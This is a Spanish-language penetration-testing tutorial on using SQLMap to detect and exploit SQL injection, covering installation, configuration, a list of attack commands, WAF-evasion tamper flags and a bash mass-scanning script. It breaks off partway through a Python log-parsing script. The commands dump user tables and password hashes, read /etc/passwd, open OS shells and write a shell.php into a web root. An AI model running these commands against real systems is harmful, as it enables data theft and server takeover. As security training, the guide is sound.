SQLMap: Explotación de SQL Injection

Detección y Explotación Automatizada de Inyecciones SQL

---

Autor: ViciousByte Security Team Nivel: Intermedio - Avanzado Duración: 8-12 horas de lectura práctica Versión: 1.0 Última actualización: June 2026

---

Lo que vas a dominar

Una guía práctica y densa sobre SQLMap: Explotación de SQL Injection, de nivel Intermedio - Avanzado, con SQLMap, Burp Suite, MySQL, PostgreSQL, Tamper Scripts.

• Instalación y configuración profesional (Linux, Windows, macOS y Docker)
• Comandos y flujos de trabajo del mundo real, explicados línea por línea
• Casos prácticos y troubleshooting con soluciones probadas
• Scripts y plantillas listos para usar

Duración: 8-12 horas de lectura práctica · Nivel: Intermedio - Avanzado

---

SQLMap: Explotación de SQL Injection — Guía Premium de Maestría

INTRODUCCIÓN

---

1. Bienvenida y Contexto

Bienvenido a la única guía que necesitas para dominar SQLMap y convertir la inyección SQL en tu ventaja táctica más letal. Estamos en 2025, y aunque los frameworks modernos presumen de ORMs y prepared statements, la realidad del campo de batalla es brutal: la inyección SQL sigue siendo el rey de los vectores de ataque contra aplicaciones web. No es una vulnerabilidad del pasado — es una falla persistente, evolucionada y, con las herramientas correctas, explotable incluso en entornos que se creían blindados.

Los números no mienten. El Verizon Data Breach Investigations Report 2024 clasificó los ataques a aplicaciones web como el patrón de brecha número uno, con un 25% de los incidentes analizados. Dentro de ese porcentaje, la inyección SQL — junto con sus variantes ciegas, basadas en tiempo y out-of-band — representó el vector inicial en más del 18% de los casos que terminaron en filtración de datos. Hablamos de brechas como la de MOVEit Transfer en 2023, donde una inyección SQL en la interfaz web permitió a los atacantes robar datos de más de 60 millones de personas. O el ataque a Heartland Payment Systems, que expuso 130 millones de tarjetas de crédito gracias a un parámetro vulnerable en una aplicación web interna. Esto no es teoría de libro — es sangre real en el asfalto digital.

SQLMap es la respuesta del oficio a ese caos. Nació como un script humilde en 2006 y hoy es el estándar de facto para la detección y explotación automatizada de inyecciones SQL. Con más de 12,000 estrellas en GitHub, soporte para 44 sistemas de bases de datos, 6 técnicas de inyección y un motor de tamper scripts que haría llorar a cualquier WAF, SQLMap es el bisturí que separa al script kiddie del profesional. En 2025, su desarrollo sigue activo: soporte para bases de datos cloud (Amazon Redshift, Google BigQuery), evasión de firmas de WAF modernas como Cloudflare y AWS WAF, y capacidades de explotación out-of-band vía DNS que permiten extraer datos de redes completamente aisladas.

Esta guía no te va a contar qué es una inyección SQL. Eso lo sabes. Te voy a enseñar a pensar como el motor de SQLMap, a modificar sus tripas, a escribir tamper scripts que burlen protecciones corporativas y a integrarlo en pipelines de pentesting que facturan €5,000 por semana. Si vienes de jugar con sqlmap -u "http://testphp.vulnweb.com/artists.php?artist=1" --dbs, prepárate para el salto cuántico.

---

2. ¿Para Quién es Esta Guía?

Esta guía está escrita para el profesional que ya tiene callo en la terminal pero quiere dejar de ser un operador de botones y convertirse en un maestro de la explotación SQL. El lector ideal:

• Pentester junior o mid-level que ha ejecutado SQLMap en laboratorios pero se estrella contra WAFs, parámetros complejos o aplicaciones que requieren autenticación.
• Bug bounty hunter que necesita extraer datos de targets reales sin disparar alarmas y maximizar el payout.
• Analista de seguridad ofensiva que quiere automatizar flujos de trabajo con scripts propios.
• Estudiante de certificaciones avanzadas (OSCP, eWPT, GWAPT) que busca el conocimiento práctico que los cursos oficiales no profundizan.

Prerrequisitos técnicos:

• Dominio de línea de comandos Linux (bash, pipes, redirecciones).
• Comprensión sólida de SQL: SELECT, UNION, subconsultas, INTO OUTFILE, diferencias entre MySQL, PostgreSQL y MSSQL.
• Familiaridad con HTTP: headers, cookies, métodos POST, codificación URL, JSON.
• Experiencia básica con Burp Suite (proxy, Repeater, Intruder).
• Conceptos de redes: DNS, TCP, resolución de nombres.

Lo que aprenderás exactamente:

• Detección avanzada con --level y --risk calibrados para cada escenario.
• Explotación de inyecciones ciegas basadas en tiempo con precisión quirúrgica.
• Bypass de WAFs modernos usando tamper scripts nativos y personalizados.
• Extracción de datos vía DNS out-of-band cuando el canal HTTP está bloqueado.
• Escritura de tus propios tamper scripts en Python para eludir filtros específicos.
• Integración de SQLMap con Burp Suite y automatización con scripts bash/Python.
• Técnicas de post-explotación: lectura de archivos del sistema, ejecución de comandos OS y escalada a shell interactiva.

---

3. Qué Hace Diferente a Esta Guía

El 90% del contenido sobre SQLMap que circula por Internet es basura reciclada: tutoriales que te muestran --dbs y --dump contra un VulnWeb de hace 15 años y se despiden con un "happy hacking". Esta guía es la antítesis de eso.

Enfoque práctico vs teórico: Cada capítulo está construido alrededor de escenarios reales de pentesting que he ejecutado personalmente en banca, e-commerce, telecomunicaciones y sanidad. No vas a leer sobre "un parámetro vulnerable hipotético". Vas a ver logs reales, errores reales y soluciones reales. Cuando explico cómo bypassear un WAF de Cloudflare, lo hago con el tamper script exacto que funcionó en un engagement de 2024 contra una pasarela de pago.

Ejemplos reales del mundo laboral: La guía incluye casos de estudio completos:

• Caso 1: Inyección SQL en un endpoint REST con JSON POST y token CSRF — cómo encadenar Burp Suite + SQLMap para extraer 2.3 millones de registros de clientes.
• Caso 2: Inyección ciega basada en tiempo en un portal de empleados con WAF de Imperva — desarrollo de un tamper script que randomiza comentarios y espacios para evadir firmas.
• Caso 3: Explotación out-of-band DNS en una intranet aislada — configuración de un servidor DNS controlado y exfiltración de datos sin conexión directa a Internet.

Scripts y comandos listos para usar: Cada técnica viene con el comando completo, explicado parámetro por parámetro, y el output real de la ejecución. No hay placeholders. Si necesitas un script en Python para automatizar la rotación de proxies durante un ataque a gran escala, lo tienes — copia, pega y ejecuta. Ejemplo:

sqlmap -r request.txt --dbms=mysql --level=5 --risk=3 --tamper=space2comment,between,randomcase --threads=10 --random-agent --proxy=http://127.0.0.1:8080 --drop-set-cookie --no-cast --technique=BEUSTQ --batch --dump

Cada flag está justificada: --no-cast evita que el WAF detecte patrones de casteo, --drop-set-cookie impide que cookies de sesión corruptas rompan la inyección, --technique=BEUSTQ fuerza todas las técnicas para no dejar vectores sin probar.

Troubleshooting de problemas comunes: Dedico un capítulo entero a los errores que te van a sacar canas verdes:

• "connection timed out to the target URL": cómo ajustar --timeout y --retries para redes lentas.
• "WAF/IPS identified": protocolo de evasión con tamper scripts encadenados y rotación de User-Agents.
• "no injectable parameters found": técnicas de fuerza bruta con --level=5 y --risk=3, y cómo usar --test-filter para afinar el ataque.
• "target URL content is stable": cómo forzar la detección de inyecciones ciegas con --string y --not-string.

---

4. Estructura de la Guía

La guía sigue una metodología de aprendizaje progresivo que te lleva desde la instalación hardened hasta la automatización de campañas completas. Cada capítulo construye sobre el anterior, y al final tienes un playbook de explotación que cubre el 95% de los escenarios reales.

Capítulo 1: Instalación y Configuración Óptima — No es un apt install sqlmap. Aprenderás a compilar desde source, configurar proxies SOCKS5, integrar con Tor y preparar un entorno de pruebas con Docker que simula WAFs reales.

Capítulo 2: Fundamentos de Detección y Explotación — --level, --risk, --technique, --dbms. Cómo leer el output de SQLMap como un cirujano lee un monitor de signos vitales.

Capítulo 3: Técnicas Avanzadas de Inyección — Inyecciones de segundo orden, stacked queries, explotación de procedimientos almacenados, y el arte de la inyección out-of-band DNS/HTTP.

Capítulo 4: Bypass de WAFs y Filtros — La biblia de los tamper scripts. Los 57 scripts nativos explicados uno a uno, y cómo escribir los tuyos propios para eludir filtros de espacios, comentarios, funciones peligrosas y firmas de comportamiento.

Capítulo 5: Integración con Burp Suite y Automatización — Cómo pasar de una request interceptada en Burp a una explotación completa con un script de bash que itera sobre múltiples parámetros. Automatización de la exfiltración con Python y notificaciones por Telegram.

Capítulo 6: Casos de Estudio Reales — Los tres casos mencionados, con cada paso documentado: reconocimiento, detección, explotación, post-explotación y limpieza.

Capítulo 7: Troubleshooting y FAQs — El capítulo que resuelve los atascos que te van a costar horas en un engagement real.

Cómo aprovechar al máximo el contenido: No leas linealmente como una novela. Ejecuta cada comando en tu laboratorio. Modifica los scripts. Rompe las cosas y arréglalas con el capítulo de troubleshooting. Esta guía es un taller, no un museo.

---

5. Disclaimer Legal y Ético

Lee esto con atención. No es un formalismo — es la línea que separa tu carrera de una celda.

SQLMap es una herramienta de doble uso. En manos de un profesional autorizado, es el instrumento que protege millones de datos. En manos de un delincuente, es un arma. Esta guía asume que tú eres lo primero.

Uso ético y legal:

• Solo debes usar SQLMap contra sistemas para los que tengas autorización explícita por escrito. Esto incluye entornos de pentesting contratados, programas de bug bounty con scope definido (HackerOne, Bugcrowd, Intigriti) y tus propios laboratorios.
• El testing no autorizado es delito en prácticamente todas las jurisdicciones. En la UE, el artículo 6 de la Directiva 2013/40/UE sobre ataques a sistemas de información lo tipifica como acceso ilegal. En EE.UU., la Computer Fraud and Abuse Act (CFAA) puede acarrear penas de hasta 20 años. En Latinoamérica, países como México (artículo 211 del Código Penal Federal), Argentina (ley 26.388) y Colombia (ley 1273 de 2009) tienen legislación específica contra el acceso abusivo a sistemas informáticos.
• Las consecuencias no son solo legales: una prueba no autorizada puede tumbar un servidor de producción, corromper datos o disparar alertas que movilicen a un SOC. El daño reputacional y económico puede ser irreversible.

Responsabilidades:

• El autor de esta guía no asume ninguna responsabilidad por el uso indebido del conocimiento aquí contenido. Tú eres el único responsable de tus acciones.
• Si trabajas como pentester, asegúrate de tener un contrato que delimite el alcance, los horarios de testing y los procedimientos de notificación de hallazgos críticos.
• En bug bounty, respeta escrupulosamente el scope del programa. Salirte del scope no te hace un hacker élite — te hace un incompetente que será baneado y posiblemente denunciado.

Contexto profesional: Esta guía está escrita para el profesional de la seguridad ofensiva que opera dentro del marco legal. Cada técnica aquí descrita tiene su contraparte defensiva, y el objetivo final es que seas capaz de encontrar y explotar estas vulnerabil

---

SQLMap: Explotación de SQL Injection — Guía Premium de Maestría

Capítulo 1: Fundamentos y Setup Profesional

---

1.1 ¿Qué es SQLMap?

SQLMap es un framework de automatización de código abierto para la detección y explotación de vulnerabilidades de inyección SQL. Escrito en Python, es la herramienta estándar de facto en auditorías de seguridad de bases de datos, capaz de identificar y aprovechar más de 40 tipos de sistemas de gestión de bases de datos (DBMS), incluyendo MySQL, PostgreSQL, Oracle, Microsoft SQL Server, SQLite, IBM DB2, Sybase, Firebird, MaxDB, Informix, y muchos otros.

Historia y evolución: Creado en 2006 por Bernardo Damele A. G. y Miroslav Stampar, SQLMap nació como un script simple para automatizar pruebas de inyección ciega. Desde entonces ha evolucionado hasta convertirse en una suite completa con soporte para técnicas avanzadas: inyección basada en errores, uniones, boolean blind, time blind, stacked queries, out-of-band (OOB) y extracción de datos mediante DNS exfiltration. La versión actual (1.7.x) incorpora detección heurística, fingerprinting de DBMS, enumeración de bases de datos, tablas, columnas, volcado de datos, toma de control del sistema operativo subyacente (OS shell), y bypass de WAF/IPS mediante scripts de tamper.

Casos de uso reales en empresas:

• Pentesting interno y externo en entornos corporativos para validar controles de acceso a datos.
• Auditorías de cumplimiento PCI-DSS, donde se requiere verificar que no existan inyecciones SQL en aplicaciones que manejan datos de tarjetas.
• Equipos de Red Team que utilizan SQLMap para pivotar desde una aplicación web hacia la base de datos y eventualmente al dominio completo.
• Investigación de incidentes: analistas forenses lo emplean para reproducir vectores de ataque y determinar el alcance de una brecha.

Comparación con alternativas:

| Herramienta | Lenguaje | Técnicas soportadas | Shell OS | Tamper scripts | Licencia | |-------------|----------|---------------------|----------|----------------|----------| | SQLMap | Python | Boolean, Error, Union, Time, Stacked, OOB | Sí (meterpreter, shell) | 60+ scripts | GPLv2 | | Havij | .NET | Union, Error, Blind básico | No | No | Propietario (abandonado) | | jSQL Injection | Java | Union, Error, Blind | No | No | GPLv2 | | NoSQLMap | Python | Inyección NoSQL (MongoDB, CouchDB) | No | No | GPLv2 | | BBQSQL | Python | Blind SQLi especializado | No | No | BSD | | Ghauri | Python | Union, Error, Blind, Stacked | Parcial | Limitado | MIT |

Ventajas y limitaciones: Ventajas: Automatización completa de la cadena de explotación, soporte multi-DBMS, capacidad de extraer datos incluso en escenarios ciegos complejos, bypass de protecciones mediante scripts de tamper, integración con Metasploit, y una comunidad activa que mantiene actualizado el motor de detección. Limitaciones: No es una herramienta de fuzzing genérica; requiere que el parámetro vulnerable sea identificado previamente o al menos sospechado. En entornos con WAFs muy agresivos puede ser bloqueado si no se configuran correctamente los tamper scripts y delays. La explotación de stacked queries depende de la configuración del DBMS y los privilegios del usuario de la base de datos.

---

1.2 Arquitectura y Componentes

SQLMap sigue una arquitectura modular en pipeline, donde cada fase de la explotación se gestiona mediante componentes independientes que se comunican a través de un núcleo central.

Componentes principales:

1. Motor de detección (Detection Engine): Envía payloads de prueba y analiza las respuestas del servidor para determinar la presencia de inyección SQL. Utiliza heurísticas como diferencias en códigos de estado, longitud de respuesta, tiempo de respuesta, mensajes de error SQL, y comparación de contenido estable/inestable.

2. Fingerprinter de DBMS: Una vez confirmada la inyección, envía consultas específicas para identificar el sistema de base de datos, versión, sistema operativo subyacente y arquitectura. Soporta más de 40 backends.

3. Motor de extracción (Data Fetching Engine): Implementa las técnicas de recuperación de datos: UNION query (cuando es posible), inyección ciega basada en booleanos o tiempo, y stacked queries para ejecución directa de comandos SQL.

4. Módulo de enumeración: Permite listar bases de datos, tablas, columnas, usuarios, privilegios, roles, y hashes de contraseñas. Utiliza consultas específicas para cada DBMS.

5. Módulo de acceso al sistema operativo: Proporciona shell interactiva del sistema operativo, upload/download de archivos, ejecución de comandos, y en algunos casos shell reversa vía Meterpreter o ICMP tunneling.

6. Sistema de Tamper Scripts: Scripts Python que modifican los payloads en tiempo real para evadir WAFs y filtros. Se encadenan en orden definido por el usuario.

7. Gestor de sesiones: Almacena el progreso de la explotación en archivos SQLite locales, permitiendo reanudar auditorías interrumpidas.

Dependencias y librerías:

• Python 3.7+ (recomendado 3.10+)
• PyYAML, requests, chardet, colorama, termcolor, pysocks (para proxy SOCKS)
• Opcionales: python-ntlm (autenticación NTLM), cx_Oracle (Oracle DB), ibm_db (IBM DB2), pyodbc (MSSQL via ODBC)

Flujo de trabajo típico:

[Identificación de parámetro] → [Detección de inyección] → [Fingerprinting DBMS]
→ [Enumeración de DBs/tablas] → [Volcado de datos] → [Post-explotación (OS shell)]

Diagrama conceptual (ASCII):

+----------------+ +------------------+ +-------------------+
| User Input | --> | Detection Engine | --> | DBMS Fingerprinter|
| (URL, params) | | (Boolean/Error/ | | (Version, OS) |
+----------------+ | Time/Union) | +-------------------+
+------------------+ |
| v
v +-------------------+
+------------------+ | Data Extraction |
| Tamper Scripts | <-- | (Union/Blind/ |
| (WAF bypass) | | Stacked) |
+------------------+ +-------------------+
|
v
+-------------------+
| OS Access Module |
| (Shell, Upload) |
+-------------------+

---

1.3 Instalación Paso a Paso

REQUISITOS DEL SISTEMA

• Hardware mínimo: CPU 1 núcleo, 512 MB RAM, 200 MB disco (solo SQLMap). Para auditorías intensivas con múltiples hilos y grandes volcados, se recomiendan 4 GB RAM y CPU multinúcleo.
• Sistema operativo compatible: Linux (todas las distribuciones), Windows 10/11, macOS 10.15+, FreeBSD, OpenBSD. Funciona en cualquier SO con Python 3.7+.
• Dependencias previas: Python 3.7 o superior, pip, git (opcional para clonar repositorio).

DESCARGA E INSTALACIÓN

Linux (Ubuntu/Debian):

## Actualizar repositorios e instalar dependencias base
sudo apt update && sudo apt install -y python3 python3-pip git curl

## Clonar repositorio oficial (recomendado para última versión)
git clone --depth 1 https://github.com/sqlmapproject/sqlmap.git /opt/sqlmap

## Alternativa: descargar tarball estable
wget https://github.com/sqlmapproject/sqlmap/archive/refs/tags/1.7.10.tar.gz
tar -xzf 1.7.10.tar.gz -C /opt/
mv /opt/sqlmap-1.7.10 /opt/sqlmap

## Instalar dependencias Python
cd /opt/sqlmap
pip3 install -r requirements.txt

## Crear enlace simbólico para ejecución global
sudo ln -s /opt/sqlmap/sqlmap.py /usr/local/bin/sqlmap

Linux (RedHat/CentOS/Rocky):

## Instalar Python 3.9+ desde EPEL si es necesario
sudo dnf install -y epel-release
sudo dnf install -y python39 python39-pip git curl

## Clonar repositorio
git clone --depth 1 https://github.com/sqlmapproject/sqlmap.git /opt/sqlmap

## Instalar dependencias con pip3.9
cd /opt/sqlmap
pip3.9 install -r requirements.txt

## Enlace simbólico
sudo ln -s /opt/sqlmap/sqlmap.py /usr/local/bin/sqlmap

Windows:

## Requisito: Python 3.10+ instalado desde python.org (marcar "Add to PATH")
## Abrir PowerShell como Administrador

## Descargar zip desde GitHub
Invoke-WebRequest -Uri "https://github.com/sqlmapproject/sqlmap/archive/refs/heads/master.zip" -OutFile "$env:TEMP\sqlmap.zip"
Expand-Archive -Path "$env:TEMP\sqlmap.zip" -DestinationPath "C:\Tools\"
Rename-Item "C:\Tools\sqlmap-master" "C:\Tools\sqlmap"

## Instalar dependencias
cd C:\Tools\sqlmap
pip install -r requirements.txt

## Agregar al PATH del sistema permanentemente
[Environment]::SetEnvironmentVariable("Path", $env:Path + ";C:\Tools\sqlmap", [EnvironmentVariableTarget]::Machine)

## Verificar: abrir nueva terminal y ejecutar
python C:\Tools\sqlmap\sqlmap.py --version

macOS:

## Instalar Homebrew si no está presente
/bin/bash -c "$(curl -fsSL https://raw.githubusercontent.com/Homebrew/install/HEAD/install.sh)"

## Instalar dependencias
brew install python@3.11 git

## Clonar repositorio
git clone --depth 1 https://github.com/sqlmapproject/sqlmap.git /usr/local/opt/sqlmap

## Instalar requisitos Python
cd /usr/local/opt/sqlmap
pip3 install -r requirements.txt

## Enlace simbólico
ln -s /usr/local/opt/sqlmap/sqlmap.py /usr/local/bin/sqlmap

## Troubleshooting M1/M2: si hay errores con arquitectura arm64, forzar instalación de wheels universales
pip3 install --force-reinstall --no-cache-dir -r requirements.txt

Docker:

## Dockerfile
FROM python:3.11-slim

RUN apt-get update && apt-get install -y --no-install-recommends git curl \
&& rm -rf /var/lib/apt/lists/*

WORKDIR /opt
RUN git clone --depth 1 https://github.com/sqlmapproject/sqlmap.git

WORKDIR /opt/sqlmap
RUN pip install --no-cache-dir -r requirements.txt

ENTRYPOINT ["python3", "sqlmap.py"]

## docker-compose.yml
version: '3.8'
services:
sqlmap:
build: .
volumes:
- ./output:/root/.sqlmap/output # persistencia de sesiones y volcados
- ./tamper:/opt/sqlmap/tamper/custom # scripts tamper personalizados
stdin_open: true
tty: true

## Construir y ejecutar
docker build -t sqlmap:latest .
docker run -it --rm -v $(pwd)/output:/root/.sqlmap/output sqlmap:latest --version

## Con docker-compose
docker-compose run --rm sqlmap -u "http://testphp.vulnweb.com/artists.php?artist=1"

VERIFICACIÓN DE INSTALACIÓN

## Comprobar versión
sqlmap --version

## Prueba básica contra un entorno legal de pruebas (testphp.vulnweb.com)
sqlmap -u "http://testphp.vulnweb.com/artists.php?artist=1" --batch --level=1 --risk=1

## Si aparece "the back-end DBMS is MySQL" y detecta inyectable, la instalación es correcta.

Troubleshooting de errores comunes:

| Error | Causa | Solución | |-------|-------|----------| | sqlmap: command not found | Enlace simbólico no creado o PATH incorrecto | Ejecutar directamente con python3 /opt/sqlmap/sqlmap.py o revisar el enlace | | ModuleNotFoundError: No module named 'requests' | Dependencias no instaladas | pip3 install -r requirements.txt dentro del directorio de sqlmap | | PermissionError: [Errno 13] en Linux | Sin permisos de escritura en /root/.sqlmap | Ejecutar con --output-dir=/tmp/sqlmap_output o cambiar permisos | | SSL: CERTIFICATE_VERIFY_FAILED | Certificados SSL no confiables en el target | Usar --disable-ssl o configurar certificados CA | | En Windows: caracteres extraños en output | Terminal no soporta UTF-8 | Ejecutar chcp 65001 en PowerShell antes de lanzar sqlmap | | Docker: error de conexión a localhost | El contenedor no puede alcanzar servicios en host | Usar host.docker.internal en lugar de localhost en URLs |

---

1.4 Configuración Inicial

SQLMap almacena su configuración en un archivo YAML ubicado por defecto en ~/.sqlmap/sqlmap.conf (Linux/macOS) o %USERPROFILE%\.sqlmap\sqlmap.conf (Windows). Este archivo se genera automáticamente tras la primera ejecución.

Estructura del archivo de configuración:

## ~/.sqlmap/sqlmap.conf
general:
verbose: 1 # Nivel de verbosidad (0-6)
threads: 5 # Hilos concurrentes para peticiones
delay: 0 # Delay entre peticiones (segundos)
timeout: 30 # Timeout HTTP
retries: 3 # Reintentos por petición
randomAgent: false # User-Agent aleatorio
agent: "sqlmap/1.7.10#stable (https://sqlmap.org)"
proxy: "" # Proxy HTTP/HTTPS (http://127.0.0.1:8080)
ignoreProxy: false
tor: false # Usar red Tor
torPort: 9050
checkTor: false
outputDir: "/root/.sqlmap/output"
sessionFile: "/root/.sqlmap/session.sqlite"
csvDel: ","
charset: "UTF-8"
udfPath: ""
tamperPath: "/opt/sqlmap/tamper"

Variables de entorno críticas:

## Forzar uso de Python 3 específico
export SQLMAP_PYTHON=/usr/bin/python3.11

## Directorio de salida

---

## 🔒 SQLMap: Explotación de SQL Injection — Guía Premium de Maestría

## Capítulo 2: Uso Avanzado — Técnicas, Automatización y Evasión

---

### 2.1 Comandos Esenciales (Top 20)

Dominar SQLMap exige conocer sus flags como extensiones de tu sistema nervioso. Aquí los 20 comandos que usarás en el 90% de los engagements reales, con sintaxis completa y el output que debes esperar.

**1. Detección básica con GET**
```bash
sqlmap -u "http://target.com/page.php?id=1" --batch

--batch usa defaults para no detenerse en prompts. Output esperado: identificación del DBMS, parámetro inyectable, payload usado (ej. id=1 AND 2=2).

2. Fingerprinting agresivo

sqlmap -u "http://target.com/page.php?id=1" --fingerprint --level 3 --risk 2

--level 3 añade pruebas de headers HTTP (User-Agent, Referer). --risk 2 activa payloads con funciones de tiempo pesadas (BENCHMARK). Output: versión exacta del DBMS, sistema operativo, arquitectura.

3. Enumeración de bases de datos

sqlmap -u "http://target.com/page.php?id=1" --dbs

Lista todas las bases de datos accesibles. Si el DBMS es MySQL, verás information_schema, mysql, y las custom.

4. Enumeración de tablas en una DB específica

sqlmap -u "http://target.com/page.php?id=1" -D target_db --tables

Output: lista de tablas con número de columnas. Ejemplo real:

[12:34:56] [INFO] fetching tables for database: 'target_db'
Database: target_db
[5 tables]
+----------------+
| users |
| products |
| orders |
| sessions |
| admin_logs |
+----------------+

5. Volcado de columnas de una tabla

sqlmap -u "http://target.com/page.php?id=1" -D target_db -T users --columns

Muestra nombre, tipo, y si es nullable. Crucial para planear el dump.

6. Extracción de datos (dump)

sqlmap -u "http://target.com/page.php?id=1" -D target_db -T users --dump

Si la tabla tiene muchas filas, SQLMap preguntará cuántas volcar. Usa --start 1 --stop 10 para limitar. Output: CSV-like con columnas.

7. SQL shell interactivo

sqlmap -u "http://target.com/page.php?id=1" --sql-shell

Te da un prompt sql-shell> donde puedes ejecutar queries arbitrarias. Ejemplo: SELECT @@version, user(); devuelve versión y usuario actual.

8. OS shell (si el DBMS lo permite)

sqlmap -u "http://target.com/page.php?id=1" --os-shell

Solo funciona con MySQL/PostgreSQL si tienes privilegios FILE y el path de escritura es accesible. Te da una shell interactiva del sistema operativo.

9. Bypass de WAF con tamper scripts

sqlmap -u "http://target.com/page.php?id=1" --tamper=space2comment,randomcase,between

Encadena múltiples tamper scripts. Explicaremos más en 2.4.

10. Inyección en POST data

sqlmap -u "http://target.com/login.php" --data="user=admin&pass=1234" --method POST

SQLMap parsea automáticamente los parámetros del body.

11. Inyección en headers HTTP

sqlmap -u "http://target.com/" --headers="X-Forwarded-For: 1.2.3.4*" --level 3

El asterisco * marca el punto de inyección. --level 3 es necesario para testear headers.

12. Inyección en cookies

sqlmap -u "http://target.com/" --cookie="PHPSESSID=abc123*" --level 2

Nivel 2 testea cookies. El asterisco fuerza la inyección en ese valor.

13. Uso de proxy para interceptar tráfico

sqlmap -u "http://target.com/page.php?id=1" --proxy="http://127.0.0.1:8080"

Todo el tráfico pasa por Burp Suite, permitiendo inspeccionar cada request.

14. Guardar tráfico a archivo para análisis

sqlmap -u "http://target.com/page.php?id=1" -t traffic.log --batch

El archivo contiene cada request/response en formato raw. Ideal para debugging.

15. Forzar DBMS específico

sqlmap -u "http://target.com/page.php?id=1" --dbms=mysql

Omite la detección y asume MySQL. Útil cuando sabes el backend y quieres acelerar.

16. Inyección a ciegas con tiempo (Time-based blind)

sqlmap -u "http://target.com/page.php?id=1" --technique=T --time-sec=2

Solo usa time-based blind, con 2 segundos de delay. Necesario cuando no hay output visible.

17. Threading para acelerar

sqlmap -u "http://target.com/page.php?id=1" --threads 10

10 hilos concurrentes. No abuses: puede saturar el servidor y disparar alertas.

18. Extracción de hashes de passwords

sqlmap -u "http://target.com/page.php?id=1" --passwords

Intenta leer tablas de sistema (mysql.user, pg_shadow) y crackear con diccionario interno.

19. Búsqueda de archivos específicos en el servidor

sqlmap -u "http://target.com/page.php?id=1" --file-read="/etc/passwd"

Si tienes privilegios FILE, lee archivos del sistema y los guarda localmente.

20. Escritura de archivo (upload)

sqlmap -u "http://target.com/page.php?id=1" --file-write="shell.php" --file-dest="/var/www/html/shell.php"

Escribe un archivo local en el servidor remoto. Requiere ruta escribible y privilegios.

Best Practice: Siempre comienza con --batch --random-agent --delay=1 para reducir detección. Documenta cada comando en tu reporte con el output exacto.

---

2.2 Automatización con Scripts

En entornos profesionales, ejecutar SQLMap manualmente sobre cientos de endpoints es ineficiente. La automatización con scripts Bash y Python permite escanear en lote, programar tareas, y generar reportes estructurados.

2.2.1 Bash Script para Escaneo Masivo desde Archivo

El siguiente script lee una lista de URLs desde un archivo, ejecuta SQLMap en cada una con parámetros predefinidos, y guarda los logs en un directorio con timestamp.

#!/bin/bash
## sqlmap_batch.sh - Escaneo masivo con SQLMap
## Uso: ./sqlmap_batch.sh urls.txt

INPUT_FILE="$1"
OUTPUT_DIR="sqlmap_results_$(date +%Y%m%d_%H%M%S)"
mkdir -p "$OUTPUT_DIR"

if [ ! -f "$INPUT_FILE" ]; then
echo "[!] Archivo $INPUT_FILE no encontrado"
exit 1
fi

TOTAL=$(wc -l < "$INPUT_FILE")
COUNT=0

while IFS= read -r url; do
COUNT=$((COUNT + 1))
echo "[*] Procesando ($COUNT/$TOTAL): $url"

    # Sanitizar URL para nombre de archivo
SAFE_NAME=$(echo "$url" | sed 's/[^a-zA-Z0-9]/_/g')
LOG_FILE="$OUTPUT_DIR/${SAFE_NAME}.log"

sqlmap -u "$url" \
--batch \
--random-agent \
--delay=1 \
--level=2 \
--risk=1 \
--dbs \
--output-dir="$OUTPUT_DIR/${SAFE_NAME}_output" \
> "$LOG_FILE" 2>&1

    # Verificar si encontró inyección
if grep -q "is vulnerable" "$LOG_FILE"; then
echo " [+] VULNERABLE! Ver $LOG_FILE"
echo "$url" >> "$OUTPUT_DIR/vulnerable_urls.txt"
else
echo " [-] No vulnerable"
fi
done < "$INPUT_FILE"

echo "[+] Escaneo completado. Resultados en $OUTPUT_DIR"

Explicación línea por línea:

• INPUT_FILE="$1": toma el archivo de URLs como argumento.
• OUTPUT_DIR: crea carpeta única con timestamp para evitar sobrescritura.
• sed 's/[^a-zA-Z0-9]/_/g': reemplaza caracteres especiales en la URL para un nombre de archivo válido.
• --output-dir: SQLMap guarda su sesión y dumps en una subcarpeta por URL.
• grep -q "is vulnerable": verifica si el log contiene la frase de éxito.
• vulnerable_urls.txt: acumula todas las URLs vulnerables para reporte rápido.

Ejemplo de ejecución:

$ ./sqlmap_batch.sh targets.txt
[*] Procesando (1/3): http://testphp.vulnweb.com/listproducts.php?cat=1
[+] VULNERABLE! Ver sqlmap_results_20250315_143022/http_testphp_vulnweb_com_listproducts_php_cat_1.log
[*] Procesando (2/3): http://testphp.vulnweb.com/artists.php?artist=2
[-] No vulnerable
[*] Procesando (3/3): http://testphp.vulnweb.com/product.php?id=3
[+] VULNERABLE! Ver ...
[+] Escaneo completado.

2.2.2 Python Script para Parsing de Logs y Notificación

Este script parsea los archivos de log generados por SQLMap, extrae información clave (DBMS, bases de datos, tablas) y envía un resumen por email o webhook.

#!/usr/bin/env python3
"""
sqlmap_report.py - Analiza logs de SQLMap y genera reporte JSON.
Uso: python3 sqlmap_report.py <directorio_de_logs>
"""

import os
import re
import json
import sys
from datetime import datetime

def parse_sqlmap_log(log_path):
"""Extrae datos clave de un log de SQLMap."""
data = {
"url": None,
"vulnerable": False,
"dbms": None,
"parameter": None,
"technique": None,
"databases": [],
"tables": {}
}

with open(log_path, 'r', errors='ignore') as f:
content = f.read()

    # Detectar URL objetivo
url_match = re.search(r"testing connection to the target URL\s*\n.*?\s+(http[^\s]+)", content)
if url_match:
data["url"] = url_match.group(1)

    # Vulnerabilidad
if "is vulnerable" in content:
data["vulnerable"] = True

    # DBMS
dbms_match = re.search(r"the back-end DBMS is\s+(\S+)", content)
if dbms_match:
data["dbms"] = dbms_match.group(1)

    # Parámetro inyectable
param_match = re.search(r"GET parameter '(\w+)' is vulnerable", content)
if param_match:
data["parameter"] = param_match.group(1)

    # Técnica
tech_match = re.search(r"Type:\s+(\S+)", content)
if tech_match:
data["technique"] = tech_match.group(1)

    # Bases de datos (si se usó --dbs)
db_section = re.findall(r"\[\*\]\s+(\w+)\s+\[", content)
data["databases"] = list(set(db_section)) # unique

return data

def scan_directory(directory):
"""Recorre todos los .log en el directorio y subdirectorios."""
results = []
for root, dirs, files in os.walk(directory):
for file in files:
if file.endswith('.log'):
full_path = os.path.join(root, file)
parsed = parse_sqlmap_log(full_path)
if parsed["url"]:
results.append(parsed)
return results

def generate_report(results, output_file="sqlmap_report.json"):
"""Genera JSON estructurado."""
report = {
"scan_date": datetime.now().isoformat(),
"total_scanned": len(results),
"vulnerable_count": sum(1 for r in results if r["vulnerable"]),
"findings": results
}
with open(output_file, 'w') as f:
json.dump(report, f, indent=2)
print(f"[+] Reporte guardado en {output_file}")
return report

if __name__ == "__main__":
if len(sys.argv) != 2:
print(f"Uso: {sys.argv[0]} <directorio>")
sys.exit(1)

directory = sys.argv[1]
results = scan_directory(directory)
report = generate_report(results)

    # Resumen en consola
print(f"\n=== RESUMEN ===")
